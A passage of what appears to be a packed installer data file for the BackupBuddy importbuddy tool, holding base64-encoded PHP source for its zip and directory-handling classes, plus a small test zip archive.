JzsKCQkJCQoJCQkJLy8gRklMRS4KCQkJCX0gZWxzZWlmICggaXNfZmlsZSggJHJvb3QgLiBsdHJpbSggJGV4Y2x1c2lvbiwgRElSRUNUT1JZX1NFUEFSQVRPUiApICkgKSB7CgkJCQkJCgkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnRXhjbHVkaW5nIGZpbGUgYCcgLiAkZXhjbHVzaW9uIC4gJ2AuJyApOwoJCQkJCgkJCQkvLyBTWU1CT0xJQyBMSU5LLgoJCQkJfSBlbHNlaWYgKCBpc19saW5rKCAkcm9vdCAuIGx0cmltKCAkZXhjbHVzaW9uLCBESVJFQ1RPUllfU0VQQVJBVE9SICkgKSApIHsKCQkJCQkKCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdFeGNsdWRpbmcgc3ltYm9saWMgbGluayBgJyAuICRleGNsdXNpb24gLiAnYC4nICk7CgkJCQkKCQkJCS8vIERPRVMgTk9UIEVYSVNULgoJCQkJfSBlbHNlIHsKCQkJCQkKCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdPbWl0dGluZyBleGNsdXNpb24gYXMgZmlsZS9kaXJlY3RvcnkgZG9lcyBub3QgY3VycmVudGx5IGV4aXN0OiBgJyAuICRleGNsdXNpb24gLiAnYC4nICk7CgkJCQkJCgkJCQkJLy8gU2tpcCB0byBuZXh0IGV4Y2x1c2lvbgoJCQkJCWNvbnRpbnVlOwoJCQkJCQoJCQkJfQoJCQkJCgkJCQkvLyBXZSBoYXZlIGEgdmFsaWQgZXhjbHVkZSBzbyBhZGQgaXQKCQkJCSRzYW5pdGl6ZWRfZXhjbHVzaW9uc1tdID0gJGV4Y2x1c2lvbjsKCQkJCQoJCQl9CgkJCQoJCQkvLyBQdXQgdGhlIGV4Y2x1c2lvbnMgdG8gYSBmaWxlIGFzIGEgc3RyaW5nCgkJCWZpbGVfcHV0X2NvbnRlbnRzKCAkZmlsZSwgaW1wbG9kZSggUEhQX0VPTCwgJHNhbml0aXplZF9leGNsdXNpb25zICkgLiBQSFBfRU9MICk7CgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ0JhY2t1cCBleGNsdXNpb25zIGZpbGUgY3JlYXRlZC4nICk7CgkJCQoJCX0gLy8gRW5kIHJlbmRlcl9leGNsdXNpb25zX2ZpbGUoKS4KCQkKCQkKCQkKCX0gLy8gRW5kIGNsYXNzCgkKfQo/Pg==
###PACKDATA,FILE_END,/lib/zipbuddy/legacy.zipbuddy.php,importbuddy/lib/zipbuddy/legacy.zipbuddy.php
###PACKDATA,FILE_START,/lib/zipbuddy/zbdir.php,importbuddy/lib/zipbuddy/zbdir.php
PD9waHAKLyoqCiAqCXBsdWdpbmJ1ZGR5X3piZGlyIENsYXNzCiAqCiAqICBQcm92aWRlcyBhIGRpcmVjdG9yeSBjbGFzcyBmb3IgemlwYnVkZHkgZm9yIGJ1aWxkaW5nIGEgZGlyZWN0b3J5IHRyZWUgZm9yIGJhY2t1cAogKgkKICoJVmVyc2lvbjogMS4wLjAKICoJQXV0aG9yOgogKglBdXRob3IgVVJJOgogKgogKglAcGFyYW0JCSRwYXJlbnQJCW9iamVjdAkJT3B0aW9uYWwgcGFyZW50IG9iamVjdCB3aGljaCBjYW4gcHJvdmlkZSBmdW5jdGlvbnMgZm9yIHJlcG9ydGluZywgZXRjLgogKglAcmV0dXJuCQludWxsCiAqCiAqLwppZiAoICFjbGFzc19leGlzdHMoICJwbHVnaW5idWRkeV96YmRpciIgKSApIHsKCgljbGFzcyBwbHVnaW5idWRkeV96YmRpciB7CgkKCQkvLyBzdGF0dXMgbWV0aG9kIHR5cGUgcGFyYW1ldGVyIHZhbHVlcyAtIHdvdWxkIGxpa2UgYSBjbGFzcyBmb3IgdGhpcwoJCWNvbnN0IFNUQVRVU19UWVBFX0RFVEFJTFMgPSAnZGV0YWlscyc7CgkJY29uc3QgTk9STV9ESVJFQ1RPUllfU0VQQVJBVE9SID0gJy8nOwoJCWNvbnN0IERJUkVDVE9SWV9TRVBBUkFUT1JTID0gJy9cXCc7CgoJCXB1YmxpYyAkX3ZlcnNpb24gPSAnMS4wJzsKCgogICAgICAgIC8qKgogICAgICAgICAqIFRoZSBwYXRoIG9mIHRoaXMgZGlyZWN0b3J5IG5vZGUKICAgICAgICAgKiAKICAgICAgICAgKiBAdmFyIHBhdGggc3RyaW5nCiAgICAgICAgICovCiAgICAgICAgcHJvdGVjdGVkICRfcGF0aCA9ICIiOwogICAgICAgIAogICAgICAgIC8qKgogICAgICAgICAqIFRoZSBhYnNvbHV0ZSBwYXRocyB0byBiZSBleGNsdWRlZCwgbXVzdCBiZSAvIHRlcm1pbmF0ZWQKICAgICAgICAgKiAKICAgICAgICAgKiBAdmFyIHBhdGhzX3RvX2V4Y2x1ZGUgYXJyYXkgb2Ygc3RyaW5nCiAgICAgICAgICovCiAgICAgICAgcHJvdGVjdGVkICRfcGF0aHNfdG9fZXhjbHVkZSA9IGFycmF5KCk7CgogICAgICAgIC8qKgogICAgICAgICAqIFRoZSBkaXJlY3RvcnkgbGlzdGluZyBpdGVtcyB0byBiZSBpZ25vcmVkCiAgICAgICAgICogCiAgICAgICAgICogQHZhciBpdGVtc190b19pZ25vcmUgYXJyYXkgb2Ygc3RyaW5nCiAgICAgICAgICovCiAgICAgICAgcHJvdGVjdGVkICRfaXRlbXNfdG9faWdub3JlID0gYXJyYXkoICIuIiwgIi4uIiwgIi5EU19TdG9yZSIgKTsKCiAgICAgICAgLyoqCiAgICAgICAgICogVGhlIGl0ZW1zIHRoYXQgYXJlIHRlcm1pbmFscyBhbmQgd2UgY2FuIGFkZCBkaXJlY3RseSBmb3IgdGhpcyBkaXJlY3RvcnkgKGFic29sdXRlIHBhdGhzKQogICAgICAgICAqIAogICAgICAgICAqIEB2YXIgdGVybWluYWxzIGFycmF5IG9mIHN0cmluZwogICAgICAgICAqLwogICAgICAgIHByb3RlY3RlZCAkX3Rlcm1pbmFscyA9IGFycmF5KCk7CgogICAgICAgIC8qKgogICAgICAgICAqIFRoZSBicmFuY2ggbm9kZXMgb2Ygc3Vib3JkaW5hdGUgZGlyZWN0b3JpZXMgdGhhdCBhcmUgb24gYW4gZXhjbHVzaW9uIHBhdGgKICAgICAgICAgKiAKICAgICAgICAgKiBAdmFyIGJyYW5jaGVzIGFycmF5IG9mIHN0cmluZyA9PiBwbHVnaW5idWRkeV96YmRpcgogICAgICAgICAqLwogICAgICAgIHByb3RlY3RlZCAkX2JyYW5jaGVzID0gYXJyYXkoKTsKCiAgICAgICAgLyoqCiAgICAgICAgICogV2hldGhlciBvciBub3Qgd2UgY2FuIGNhbGwgYSBzdGF0dXMgY2FsYmFjawogICAgICAgICAqIAogICAgICAgICAqIEB2YXIgaGF2ZV9zdGF0dXNfY2FsbGJhY2sgYm9vbAogICAgICAgICAqLwoJCXByb3RlY3RlZCAkX2hhdmVfc3RhdHVzX2NhbGxiYWNrID0gZmFsc2U7CgkJCiAgICAgICAgLyoqCiAgICAgICAgICogT2JqZWN0LT5tZXRob2QgYXJyYXkgZm9yIHN0YXR1cyBmdW5jdGlvbgogICAgICAgICAqIAogICAgICAgICAqIEB2YXIgc3RhdHVzX2NhbGxiYWNrIGFycmF5CiAgICAgICAgICovCgkJcHJvdGVjdGVkICRfc3RhdHVzX2NhbGxiYWNrID0gYXJyYXkoKTsKCQkKCQkvKioKCQkgKglfX2NvbnN0cnVjdCgpCgkJICoJCgkJICoJRGVmYXVsdCBjb25zdHJ1Y3Rvci4KCQkgKgkKCQkgKglAcGFyYW0JCXN0cmluZwkJJHBhdGgJCQlUaGUgcGF0aCB0byBmb3JtIGEgbm9kZSBmb3IKCQkgKglAcGFyYW0JCWFycmF5CQkkZXhjbHVkZXMJCVRoZSBsaXN0IG9mIGRpcnMvZmlsZXMgdG8gZXhjbHVkZSAoYWJzb2x1dGUgcGF0aHMgd2l0aCAvIHRlcm1pbmF0b3IgZm9yIGRpcnMpCgkJICoJQHJldHVybgkJbnVsbAoJCSAqCgkJICovCgkJcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KCAkcGF0aCwgJGV4Y2x1ZGVzID0gYXJyYXkoKSApIHsKCgkJCS8vIE5vcm1hbGl6ZSB0aGUgdHJhaWxpbmcgZGlyZWN0b3J5IHNlcGFyYXRvciBvbiB0aGUgcGF0aAoJCQkkcGF0aCA9IHJ0cmltKCAkcGF0aCwgc2VsZjo6RElSRUNUT1JZX1NFUEFSQVRPUlMgKSAuIHNlbGY6Ok5PUk1fRElSRUNUT1JZX1NFUEFSQVRPUjsKCQkJCgkJCS8vIE5vcm1hbGl6ZSBwbGF0Zm9ybSBzcGVjaWZpYyBkaXJlY3Rvcnkgc2VwYXJhdG9ycyBpbiBwYXRoCgkJCSR0aGlzLT5fcGF0aCA9IHN0cl9yZXBsYWNlKCBESVJFQ1RPUllfU0VQQVJBVE9SLCBzZWxmOjpOT1JNX0RJUkVDVE9SWV9TRVBBUkFUT1IsICRwYXRoICk7CgkJCQoJCQkkdGhpcy0+X3BhdGhzX3RvX2V4Y2x1ZGUgPSAkZXhjbHVkZXM7CgkJCQoJCQkkY29udGVudCA9IHNjYW5kaXIoICR0aGlzLT5fcGF0aCApOyAvLyBHZXQgdGhlIGRpcmVjdG9yeSBjb250ZW50LCB3aWxsIGJlIHNpbXBsZSBuYW1lcwoJCQkKCQkJLy8gUHJvY2VzcyBlYWNoIGl0ZW0gZm9yIGlnbm9yaW5nLCB0cmVhdGluZyBhcyBhIHRlcm1pbmFsIG9yIGFzIGEgYnJhbmNoCgkJCWZvcmVhY2ggKCAkY29udGVudCBhcyAmJGl0ZW0gKSB7CgoJCQkJLy8gSW5pdGlhbGx5IGNoZWNrIHRoZSBzaW1wbGUgbmFtZQoJCQkJaWYgKCBpbl9hcnJheSggJGl0ZW0sICR0aGlzLT5faXRlbXNfdG9faWdub3JlICkgKSB7CgoJCQkJCS8vIFRoaXMgaXMganVzdCBmbHVmZiBpbiB0aGUgZGlyZWN0b3J5IGxpc3RpbmcKCQkJCQljb250aW51ZTsKCQkJCQkKCQkJCX0gZWxzZWlmICggaXNfZGlyKCAoICR0aGlzLT5fcGF0aCAuICRpdGVtICkgKSApIHsKCgkJCQkJLy8gSXQncyBhIGRpcmVjdG9yeSwgY2hlY2sgZm9yIG1hdGNoaW5nIGV4Y2x1c2lvbiBvciBiZWluZyBwcmVmaXggb2YgZXhjbHVzaW9uCgkJCQkJaWYgKCBpbl9hcnJheSggKCAkdGhpcy0+X3BhdGggLiAkaXRlbSAuIHNlbGY6Ok5PUk1fRElSRUNUT1JZX1NFUEFSQVRPUiApLCAkdGhpcy0+X3BhdGhzX3RvX2V4Y2x1ZGUgKSApIHsKCQkJCQkKCQkJCQkJLy8gRXhhY3QgbWF0Y2ggdG8gYW4gZXhjbHVzaW9uLCBleGNsdWRlIHRoaXMgZGlyZWN0b3J5IGNvbXBsZXRlbHkKCQkJCQkJY29udGludWU7CgkJCQkJCQoJCQkJCX0gZWxzZWlmICggJHRoaXMtPmluX2FycmF5X3ByZWZpeCggKCAkdGhpcy0+X3BhdGggLiAkaXRlbSAuIHNlbGY6Ok5PUk1fRElSRUNUT1JZX1NFUEFSQVRPUiApLCAkdGhpcy0+X3BhdGhzX3RvX2V4Y2x1ZGUgKSApIHsKCgkJCQkJCS8vIE5lZWQgYSBuZXcgbm9kZSwgYWRkIHRvIHRoZSBub2RlIGFycmF5IChhYnNvbHV0ZSBkaXIgcGF0aCBpcyBrZXkpCgkJCQkJCSR0aGlzLT5fYnJhbmNoZXNbICggJHRoaXMtPl9wYXRoIC4gJGl0ZW0gKSBdID0gbmV3IHBsdWdpbmJ1ZGR5X3piZGlyKCAoICR0aGlzLT5fcGF0aCAuICRpdGVtIC4gc2VsZjo6Tk9STV9ESVJFQ1RPUllfU0VQQVJBVE9SICksICR0aGlzLT5fcGF0aHNfdG9fZXhjbHVkZSwgJHRoaXMgKTsKCQkJCQkJCgkJCQkJfSBlbHNlIHsKCQkJCQkKCQkJCQkJLy8gTmVpdGhlciBleGNsdXNpb24gbm9yIGV4Y2x1c2lvbiBwcmVmaXggc28gd2VsbCB0cmVhdCBpdCBhcyBhIHRlcm1pbmFsCgkJCQkJCSR0aGlzLT5fdGVybWluYWxzW10gPSAoICR0aGlzLT5fcGF0aCAuICRpdGVtICk7CgkJCQkJCgkJCQkJfQoJCQkJCQoJCQkJfSBlbHNlIHsKCgkJCQkJLy8gQXNzdW1lIGl0J3MgYSBmaWxlLCBjaGVjayBmb3IgbWF0Y2hpbmcgZXhjbHVzaW9uCgkJCQkJaWYgKCBpbl9hcnJheSggKCAkdGhpcy0+X3BhdGggLiAkaXRlbSApLCAkdGhpcy0+X3BhdGhzX3RvX2V4Y2x1ZGUgKSApIHsKCQkJCQkKCQkJCQkJLy8gRXhhY3QgbWF0Y2ggdG8gYW4gZXhjbHVzaW9uLCBleGNsdWRlIHRoaXMgZmlsZSBjb21wbGV0ZWx5CgkJCQkJCWNvbnRpbnVlOwoJCQkJCQkKCQkJCQl9IGVsc2UgewoJCQkJCQoJCQkJCQkvLyBOb3QgYW4gZXhjbHVzaW9uIHNvIGl0J3MgYSB0ZXJtaW5hbAoJCQkJCQkkdGhpcy0+X3Rlcm1pbmFsc1tdID0gKCAkdGhpcy0+X3BhdGggLiAkaXRlbSApOwoJCQkJCQkKCQkJCQl9CgkJCQkJCgkJCQl9CQoJCQl9CgkJCQkJCQkKCQl9CgkJCgkJLyoqCgkJICoJX19kZXN0cnVjdCgpCgkJICoJCgkJICoJRGVmYXVsdCBkZXN0cnVjdG9yLgoJCSAqCQoJCSAqCUByZXR1cm4JCW51bGwKCQkgKgoJCSAqLwoJCXB1YmxpYyBmdW5jdGlvbiBfX2Rlc3RydWN0KCApIHsKCgkJfQoJCQkJCgkJLyoqCgkJICoJc2V0X3N0YXR1c19jYWxsYmFjaygpCgkJICoKCQkgKglTZXRzIGEgcmVmZXJlbmNlIHRvIHRoZSBmdW5jdGlvbiB0byBjYWxsIGZvciBlYWNoIHN0YXR1cyB1cGRhdGUuCgkJICogIEFyZ3VtZW50IG11c3QgYXQgbGVhc3QgYmUgYSBub24tZW1wdHkgYXJyYXkgd2l0aCAyIGVsZW1lbnRzCgkJICoKCQkgKglAcGFyYW0JCWFycmF5IAkkY2FsbGJhY2sJT2JqZWN0LT5tZXRob2QgdG8gY2FsbCBmb3Igc3RhdHVzIHVwZGF0ZXMuCgkJICoJQHJldHVybgkJbnVsbAoJCSAqCgkJICovCgkJcHVibGljIGZ1bmN0aW9uIHNldF9zdGF0dXNfY2FsbGJhY2soICRjYWxsYmFjayA9IGFycmF5KCkgKSB7CgkJCgkJCWlmICggaXNfYXJyYXkoICRjYWxsYmFjayApICYmICFlbXB0eSggJGNhbGxiYWNrICkgJiYgKCAyID09IGNvdW50KCAkY2FsbGJhY2sgKSApICkgewoJCQkKCQkJCSR0aGlzLT5fc3RhdHVzX2NhbGxiYWNrID0gJGNhbGxiYWNrOwoJCQkJJHRoaXMtPl9oYXZlX3N0YXR1c19jYWxsYmFjayA9IHRydWU7CgoJCQl9CgkJCQoJCX0KCQkKCQkvKioKCQkgKglzdGF0dXMoKQoJCSAqCQoJCSAqCUludm9rZSBzdGF0dXMgbWV0aG9kIG9mIHBhcmVudCBpZiBpdCBleGlzdHMKCQkgKiAgTXVzdCBiZSBhdCBsZWFzdCBvbmUgcGFyYW1ldGVyIG90aGVyd2lzZSBpZ25vcmUgdGhlIGNhbGwKCQkgKgkKCQkgKglAcGFyYW0JCXN0cmluZwkJJHR5cGUJCShFeHBlY3RlZCkgU3RhdHVzIG1lc3NhZ2UgdHlwZS4KCQkgKglAcGFyYW0JCXN0cmluZwkJJG1lc3NhZ2UJKEV4cGVjdGVkKSBTdGF0dXMgbWVzc2FnZS4KCQkgKglAcmV0dXJuCQludWxsCgkJICoKCQkgKi8KCQlwdWJsaWMgZnVuY3Rpb24gc3RhdHVzKCkgewoJCQoJCQlpZiAoICR0aGlzLT5faGF2ZV9zdGF0dXNfY2FsbGJhY2sgJiYgKCBmdW5jX251bV9hcmdzKCkgPiAwICkgKSB7CgoJCQkJJGFyZ3MgPSBmdW5jX2dldF9hcmdzKCk7CgkJCQljYWxsX3VzZXJfZnVuY19hcnJheSggJHRoaXMtPl9zdGF0dXNfY2FsbGJhY2ssICRhcmdzICk7CgkJCQkKCQkJfQoJCQkKCQl9CgkJCgkJLyoqCgkJICoJZ2V0X3Rlcm1pbmFscygpCgkJICoJCgkJICoJUmV0dXJucyB0aGUgYXJyYXkgb2YgdGVybWluYWxzIGZyb20gdGhpcyBkaXIgcGx1cyBzdWJvcmRpbmF0ZXMKCQkgKgkKCQkgKglAcmV0dXJuCQlhcnJheQlGbGF0IGFycmF5IG9mIHRlcm1pbmFsIGZpbGVuYW1lcyBhbmQgZGlyZWN0b3J5IG5hbWVzCgkJICoKCQkgKi8KCQlwdWJsaWMgZnVuY3Rpb24gZ2V0X3Rlcm1pbmFscyggKSB7CgkJCgkJCS8vIE1pbmltdW0gaXMgb3VyIHRlcm1pbmFscwoJCQkkYWxsX3Rlcm1pbmFscyA9ICR0aGlzLT5fdGVybWluYWxzOwoJCQkKCQkJLy8gTm93IGFkZCB0ZXJtaW5hbHMgZnJvbSBlYWNoIHN1Ym9yZGluYXRlCgkJCWZvcmVhY2ggKCAkdGhpcy0+X2JyYW5jaGVzIGFzICRicmFuY2ggKSB7CgkJCQoJCQkJJGFsbF90ZXJtaW5hbHMgPSBhcnJheV9tZXJnZSggJGFsbF90ZXJtaW5hbHMsICRicmFuY2gtPmdldF90ZXJtaW5hbHMoKSApOwoJCQkJCgkJCX0KCQkJCgkJCXJldHVybiAkYWxsX3Rlcm1pbmFsczsKCQkJCgkJfQoJCQoJCS8qKgoJCSAqCWdldF9yZWxhdGl2ZV9leGNsdWRlcygpCgkJICoJCgkJICoJUmV0dXJucyB0aGUgYXJyYXkgb2YgZXhjbHVzaW9ucyB3aXRoIG9wdGlvbmFsIGRpcmVjdG9yeSBwcmVmaXggcmVtb3ZlZAoJCSAqCQoJCSAqCUBwYXJhbQkJc3RyaW5nCVRoZSBiYXNlIGRpcmVjdG9yeSBwcmVmaXggdG8gYmUgcmVtb3ZlZAoJCSAqCUByZXR1cm4JCWFycmF5CUZsYXQgYXJyYXkgb2YgcmVsYXRpdmUgKHRvIHNpdGUgcm9vdCkgZXhjbHVkZWQgZmlsZW5hbWVzIGFuZCBkaXJlY3RvcnkgbmFtZXMKCQkgKgoJCSAqLwoJCXB1YmxpYyBmdW5jdGlvbiBnZXRfcmVsYXRpdmVfZXhjbHVkZXMoICRiYXNlID0gJycgKSB7CgkJCgkJCS8vIFRoZSBiYXNlZGlyIG11c3QgaGF2ZSBhIHRyYWlsaW5nIG5vcm1hbGl6ZWQgZGlyZWN0b3J5IHNlcGFyYXRvcgoJCQkkYmFzZWRpciA9ICggcnRyaW0oIHRyaW0oICRiYXNlICksIHNlbGY6OkRJUkVDVE9SWV9TRVBBUkFUT1JTICkgKSAuIHNlbGY6Ok5PUk1fRElSRUNUT1JZX1NFUEFSQVRPUjsKCQkKCQkJLy8gTm9ybWFsaXplIHBsYXRmb3JtIHNwZWNpZmljIGRpcmVjdG9yeSBzZXBhcmF0b3JzIGluIHBhdGgKCQkJJGJhc2VkaXIgPSBzdHJfcmVwbGFjZSggRElSRUNUT1JZX1NFUEFSQVRPUiwgc2VsZjo6Tk9STV9ESVJFQ1RPUllfU0VQQVJBVE9SLCAkYmFzZWRpciApOwoJCQkKCQkJJHJlbGF0aXZlX2V4Y2x1ZGVzID0gJHRoaXMtPl9wYXRoc190b19leGNsdWRlOwoJCQkKCQkJZm9yZWFjaCAoICRyZWxhdGl2ZV9leGNsdWRlcyBhcyAmJGV4Y2x1ZGUgKSB7CgkJCQoJCQkJLy8gUmVtb3ZlIGJhc2UgcHJlZml4IGJ1dCBsZWF2ZSBsZWFkaW5nIG5vcm1hbGl6ZWQgZGlyZWN0b3J5IHNlcGFyYXRvcgoJCQkJJGV4Y2x1ZGUgPSBzdHJfcmVwbGFjZSggcnRyaW0oICRiYXNlZGlyLCBzZWxmOjpOT1JNX0RJUkVDVE9SWV9TRVBBUkFUT1IgKSwgJycsICRleGNsdWRlICk7CgkJCQoJCQl9CgkJCQoJCQlyZXR1cm4gJHJlbGF0aXZlX2V4Y2x1ZGVzOwoJCQkKCQl9CgkJCgkJLyoqCgkJICoJaW5fYXJyYXlfcHJlZml4KCkKCQkgKgkKCQkgKglDaGVjayBpZiB0aGUgZ2l2ZW4gc3RyaW5nIGlzIGEgcHJlZml4IG9mIGFueSBzdHJpbmcgaW4gdGhlIGdpdmVuIGFycmF5CgkJICoJCgkJICogIEBwYXJhbQkJc3RyaW5nCSRwcmVmaXgJCVRoZSBwcmVmaXggc3RyaW5nCgkJICogIEBwYXJhbQkJYXJyYXkJJGNhbmRpZGF0ZXMJVGhlIGFycmF5IG9mIHN0cmluZ3MKCQkgKglAcmV0dXJuCQlib29sCXRydWUgaWYgdGhlIHN0cmluZyBpcyBhIHByZWZpeCwgZmFsc2Ugb3RoZXJ3aXNlCgkJICoKCQkgKi8KCQlwdWJsaWMgZnVuY3Rpb24gaW5fYXJyYXlfcHJlZml4KCAkcHJlZml4LCBhcnJheSAkY2FuZGlkYXRlcyApIHsKCgkJCWZvcmVhY2ggKCAkY2FuZGlkYXRlcyBhcyAkY2FuZGlkYXRlICkgewoJCQkKCQkJCWlmICggISggZmFsc2UgPT09IHN0cnBvcyggJGNhbmRpZGF0ZSwgJHByZWZpeCApICkgKSB7CgoJCQkJCS8vIFdlIGZvdW5kIHRoZSBwcmVmaXgKCQkJCQlyZXR1cm4gdHJ1ZTsKCQkJCQkKCQkJCX0KCQkJCQoJCQl9CgkJCQoJCQkvLyBHb3QgdGhpcyBmYXIgc28gbm90IGEgcHJlZml4CgkJCXJldHVybiBmYWxzZTsKCQkJCgkJfQoJCQoJfSAvLyBlbmQgcGx1Z2luYnVkZHlfemJkaXIgY2xhc3MuCQoJCn0KPz4=
###PACKDATA,FILE_END,/lib/zipbuddy/zbdir.php,importbuddy/lib/zipbuddy/zbdir.php
###PACKDATA,FILE_START,/lib/zipbuddy/zbzip.php,importbuddy/lib/zipbuddy/zbzip.php
UEsDBAoAAAAAAC8ELUHj5ZWwDAAAAAwAAAAIABwAdGVzdC50eHRVVAkAA8obUVDjG1FQdXgLAAEE+AEAAAQUAAAASGVsbG8gV29ybGQKUEsBAh4DCgAAAAAALwQtQePllbAMAAAADAAAAAgAGAAAAAAAAQAAAKSBAAAAAHRlc3QudHh0VVQFAAPKG1FQdXgLAAEE+AEAAAQUAAAAUEsFBgAAAAABAAEATgAAAE4AAAAAAA==
###PACKDATA,FILE_END,/lib/zipbuddy/zbzip.php,importbuddy/lib/zipbuddy/zbzip.php
###PACKDATA,FILE_START,/lib/zipbuddy/zbzipcore.php,importbuddy/lib/zipbuddy/zbzipcore.php
PD9waHAKLyoqCiAqCXBsdWdpbmJ1ZGR5X3piemlwY29yZSBDbGFzcwogKgogKiAgUHJvdmlkZXMgYW4gYWJzdHJhY3QgemlwIGNhcGFiaWxpdHkgY29yZSBjbGFzcwogKgkKICoJVmVyc2lvbjogMS4wLjAKICoJQXV0aG9yOgogKglBdXRob3IgVVJJOgogKgogKglAcGFyYW0JCSRwYXJlbnQJCW9iamVjdAkJT3B0aW9uYWwgcGFyZW50IG9iamVjdCB3aGljaCBjYW4gcHJvdmlkZSBmdW5jdGlvbnMgZm9yIHJlcG9ydGluZywgZXRjLgogKglAcmV0dXJuCQludWxsCiAqCiAqLwppZiAoICFjbGFzc19leGlzdHMoICJwbHVnaW5idWRkeV96YnppcGNvcmUiICkgKSB7CgoJLyoqCgkgKglwbHVnaW5idWRkeV9zdGF0IENsYXNzCgkgKgoJICoJQ29udmVuaWVuY2UgZm9yIGJlaW5nIGFibGUgdG8gYXVnbWVudCB0aGUgc3RhdCgpIGZ1bmN0aW9uIGVpdGhlciBpbiB0aGUgZXZlbnQKCSAqCW9mIGZhaWx1cmUgb3IgZm9yIGNhc2VzIHdoZXJlIHRoZSBhY3R1YWwgZmlsZSBzaXplIHJlcG9ydGVkIGlzIHRvbyBsYXJnZSBmb3IgdGhlCgkgKgkoc2lnbmVkKSBpbnRlZ2VyIHR5cGUgaW4gd2hpY2ggY2FzZSB3ZSBjcmVhdGUgYW4gYWRkaXRpb25hbCBhc3NvY2lhdGl2ZSBmaWVsZCBpbgoJICoJdGhlIGFycmF5IHdoaWNoIGlzIGEgZG91YmxlIGFuZCBjb250YWlucyB0aGUgZmlsZSBzaXplLgoJICoJRm9yIG5vdyBpdCdzIGp1c3Qgc29tZSBzdGF0aWMgbWV0aG9kcyBidXQgbWlnaHQgZXh0ZW5kIHRvIGJlIGEgdHJ1ZSBjbGFzcy4KCSAqCgkgKglAcGFyYW0Jc3RyaW5nCQkkZmlsZW5hbWUJVGhlIG5hbWUgb2YgdGhlIGZpbGUgdG8gc3RhdAoJICoJQHJldHVybglhcnJheXxib29sCQkJCUZhbHNlIG9uIGZhaWx1cmUgb3RoZXJ3aXNlIGFycmF5CgkgKgoJICovCgljbGFzcyBwbHVnaW5idWRkeV9zdGF0IHsKCgkJY29uc3QgVEhJUlRZX1RXT19CSVQgPSAzMjsKCQljb25zdCBTSVhUWV9GT1VSX0JJVCA9IDY0OwoJCQoJCXB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gaXNfcGhwKCAkYml0cyApIHsKCQkKCQkJJHJlc3VsdCA9ICggKCBQSFBfSU5UX1NJWkUgKiA4ICkgPT0gJGJpdHMgKSA/IHRydWUgOiBmYWxzZTsKCQkJCgkJCXJldHVybiAkcmVzdWx0OwoJCQoJCX0KCQoJCXB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gc3RhdCggJGZpbGVuYW1lICkgewoJCQoJCQkkcmVzdWx0ID0gZmFsc2U7CgoJCQkvLyBJZiB0aGUgZmlsZSBpcyByZWFkYWJsZSB0aGVuIHdlIHNob3VsZCBiZSBhYmxlIHRvIHN0YXQgaXQgCgkJCWlmICggQGlzX3JlYWRhYmxlKCAkZmlsZW5hbWUgKSApIHsKCQkJCgkJCQkkc3RhdHMgPSBAc3RhdCggJGZpbGVuYW1lICk7CgkJCQkKCQkJCWlmICggZmFsc2UgIT09ICRzdGF0cyApIHsKCQkJCQoJCQkJCS8vIExvb2tzIGxpa2Ugd2UgZ290IHNvbWUgdmFsaWQgZGF0YSAtIGZvciBub3cganVzdCBwcm9jZXNzIHRoZSBzaXplCgkJCQkJaWYgKCBzZWxmOjppc19waHAoIHNlbGY6OlRISVJUWV9UV09fQklUICkgKSB7CgkJCQkJCgkJCQkJCS8vIFBIUCBpcyAzMiBiaXRzIHNvIHdlIG1heSBoYXZlIGEgZmlsZSBzaXplIHByb2JsZW0gb3ZlciAyR0IuCgkJCQkJCS8vIFRoaXMgaXMgb25lIHdheSB0byB0ZXN0IGZvciBhIGZpbGUgc2l6ZSBwcm9ibGVtIC0gdGhlcmUgYXJlIG90aGVycwoJCQkJCQlpZiAoIDAgPiAkc3RhdHNbICdzaXplJyBdICkgewoJCQkJCQkKCQkJCQkJCS8vIFVuc2lnbmVkIGxvbmcgaGFzIGJlZW4gaW50ZXJwcmV0ZWQgYXMgYSBzaWduZWQgaW50IGFuZCBoYXMgc2lnbiBiaXQKCQkJCQkJCS8vIHNldCBzbyBpcyBhcHBlYXJpbmcgYXMgbmVnYXRpdmUgLSBtYWdpY2FsbHkgY29udmVydCBpdCB0byBhIGRvdWJsZQoJCQkJCQkJLy8gTm90ZTogdGhpcyBvbmx5IHdvcmtzIHRvIGdpdmUgdXMgYW4gZXh0ZW5zaW9uIGZyb20gMkdCIHRvIDRHQiBidXQgdGhhdAoJCQkJCQkJLy8gc2hvdWxkIGJlIGVub3VnaCBhcyB0aGUgdW5kZXJseWluZyBPUyBwcm9iYWJseSBjYW4ndCBzdXBwb3J0ID40R0Igb3IKCQkJCQkJCS8vIHppcCBjb21tYW5kIGNhbm5vdCBhbnl3YXkKCQkJCQkJCSRzdGF0c1sgJ2RzaXplJyBdID0gKCAoZG91YmxlKTB4ODAwMDAwMDAgKyAoICRzdGF0c1sgJ3NpemUnIF0gJiAweDdGRkZGRkZGICkgKTsKCQkJCQkJCgkJCQkJCX0gZWxzZSB7CgkJCQkJCQoJCQkJCQkJLy8gQXNzdW1lIGl0J3MgdmFsaWQKCQkJCQkJCSRzdGF0c1sgJ2RzaXplJyBdID0gKGRvdWJsZSkkc3RhdHNbICdzaXplJyBdOwoJCQkJCQkKCQkJCQkJfQoJCQkJCQkJCQkJCQkKCQkJCQl9IGVsc2UgewoJCQkJCQoJCQkJCQkvLyBMb29rcyBsaWtlIDY0IGJpdCBQSFAgc28gZmlsZSBzaXplIHNob3VsZCBiZSBmaW5lCgkJCQkJCS8vIEZvcmNlIGFkZGVkIGl0ZW0gdG8gZG91YmxlIGZvciBjb25zaXN0ZW5jeQoJCQkJCQkkc3RhdHNbICdkc2l6ZScgXSA9IChkb3VibGUpJHN0YXRzWyAnc2l6ZScgXTsKCQkJCQkKCQkJCQl9CgkJCQkJCgkJCQkJLy8gQWRkIGFuIGFkZGl0aW9uYWwgaXRlbSBmb3Igc2hvcnQgb2N0YWwgcmVwcmVzZW50YXRpb24gb2YgbW9kZQoJCQkJCSRzdGF0c1sgJ21vZGVfb2N0YWxfZm91cicgXSA9IHN1YnN0ciggc3ByaW50ZiggJyVvJywgJHN0YXRzWyAnbW9kZScgXSApLCAtNCApOwoJCQ